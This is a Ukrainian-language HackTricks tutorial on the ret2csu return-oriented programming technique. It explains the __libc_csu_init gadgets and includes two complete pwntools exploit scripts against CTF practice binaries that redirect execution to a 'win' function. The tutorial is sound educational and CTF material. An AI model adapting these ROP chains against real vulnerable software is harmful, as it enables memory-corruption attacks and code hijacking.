Ret2csu

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfОсновна інформація

ret2csu - це техніка хакерства, яка використовується, коли ви намагаєтеся взяти під контроль програму, але не можете знайти gadgets, які зазвичай використовуєте для маніпуляції поведінкою програми.

Коли програма використовує певні бібліотеки (наприклад, libc), вона має вбудовані функції для управління тим, як різні частини програми спілкуються одна з одною. Серед цих функцій є кілька прихованих перлин, які можуть діяти як наші відсутні gadgets, особливо одна під назвою __libc_csu_init.

Магічні Gadgets в __libc_csu_init

У __libc_csu_init є дві послідовності інструкцій (gadgets), які варто виділити:

  1. Перша послідовність дозволяє нам налаштувати значення в кількох регістрах (rbx, rbp, r12, r13, r14, r15). Це як слоти, де ми можемо зберігати числа або адреси, які хочемо використовувати пізніше.
armasm
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;

Цей гаджет дозволяє нам контролювати ці регістри, витягуючи значення зі стеку в них.

  1. Другий послідовність використовує значення, які ми налаштували, щоб виконати кілька дій:
  • Перемістити конкретні значення в інші регістри, готуючи їх для використання як параметри в функціях.
  • Виконати виклик до місця, визначеного шляхом додавання значень у r15 і rbx, а потім множення rbx на 8.
armasm
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8];
  1. Можливо, ви не знаєте жодної адреси, куди можна записати, і вам потрібна інструкція ret. Зверніть увагу, що другий гаджет також закінчиться на ret, але вам потрібно буде виконати деякі умови, щоб досягти його:
armasm
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]; add rbx, 0x1; cmp rbp, rbx jnz <func> ... ret

Умови будуть такими:

  • [r12 + rbx*8] має вказувати на адресу, що зберігає викликаючу функцію (якщо немає ідеї і немає pie, ви можете просто використовувати функцію _init):
  • Якщо _init знаходиться за адресою 0x400560, використовуйте GEF для пошуку в пам'яті вказівника на неї і зробіть так, щоб [r12 + rbx*8] був адресою з вказівником на _init:
bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html gef➤ search-pattern 0x400560 [+] Searching '\x60\x05\x40' in memory [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x 0x400e38 - 0x400e44 → "\x60\x05\x40[...]" [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
  • rbp та rbx повинні мати однакове значення, щоб уникнути переходу
  • Є деякі пропущені pop, які потрібно врахувати

RDI та RSI

Ще один спосіб контролювати rdi та rsi з гаджета ret2csu - це доступ до його специфічних зсувів:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

Перевірте цю сторінку для отримання додаткової інформації:

BROP - Blind Return Oriented Programming

Приклад

Використання виклику

Уявіть, що ви хочете зробити syscall або викликати функцію, таку як write(), але вам потрібні специфічні значення в регістрах rdx та rsi як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.

Ось де ret2csu вступає в гру:

  1. Налаштуйте регістри: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку та помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
  2. Використовуйте другий гаджет: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в rdx та rsi (з r14 та r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи r15 та rbx, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте та поміщаєте в [r15 + rbx*8].

У вас є приклад використання цієї техніки та пояснення тут, і це фінальний експлойт, який він використав:

python
from pwn import * elf = context.binary = ELF('./vuln') p = process() POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8] RW_LOC = 0x00404028 rop.raw('A' * 40) rop.gets(RW_LOC) rop.raw(POP_CHAIN) rop.raw(0) # r12 rop.raw(0) # r13 rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX! rop.raw(RW_LOC) # r15 - holds location of called function! rop.raw(REG_CALL) # all the movs, plus the call p.sendlineafter('me\n', rop.chain()) p.sendline(p64(elf.sym['win'])) # send to gets() so it's written print(p.recvline()) # should receive "Awesome work!"

warning

Зверніть увагу, що попередній експлойт не призначений для виконання RCE, він призначений лише для виклику функції під назвою win (взявши адресу win з stdin, викликавши gets у ROP-ланцюгу та зберігши її в r15) з третім аргументом зі значенням 0xdeadbeefcafed00d.

Обхід виклику та досягнення ret

Наступний експлойт був витягнутий з цієї сторінки, де використовується ret2csu, але замість використання виклику, він обходить порівняння та досягає ret після виклику:

python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ from pwn import * # Establish the target process target = process('./ret2csu') #gdb.attach(target, gdbscript = 'b * 0x4007b0') # Our two __libc_csu_init rop gadgets csuGadget0 = p64(0x40089a) csuGadget1 = p64(0x400880) # Address of ret2win and _init pointer ret2win = p64(0x4007b1) initPtr = p64(0x600e38) # Padding from start of input to saved return address payload = "0"*0x28 # Our first gadget, and the values to be popped from the stack # Also a value of 0xf means it is a filler value payload += csuGadget0 payload += p64(0x0) # RBX payload += p64(0x1) # RBP payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]` payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX # Our second gadget, and the corresponding stack values payload += csuGadget1 payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment payload += p64(0xf) # RBX payload += p64(0xf) # RBP payload += p64(0xf) # R12 payload += p64(0xf) # R13 payload += p64(0xf) # R14 payload += p64(0xf) # R15 # Finally the address of ret2win payload += ret2win # Send the payload target.sendline(payload) target.interactive()

Чому не просто використовувати libc безпосередньо?

Зазвичай ці випадки також вразливі до ret2plt + ret2lib, але іноді вам потрібно контролювати більше параметрів, ніж можна легко контролювати за допомогою гаджетів, які ви знаходите безпосередньо в libc. Наприклад, функція write() вимагає три параметри, і знайти гаджети для встановлення всіх цих безпосередньо може бути неможливо.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks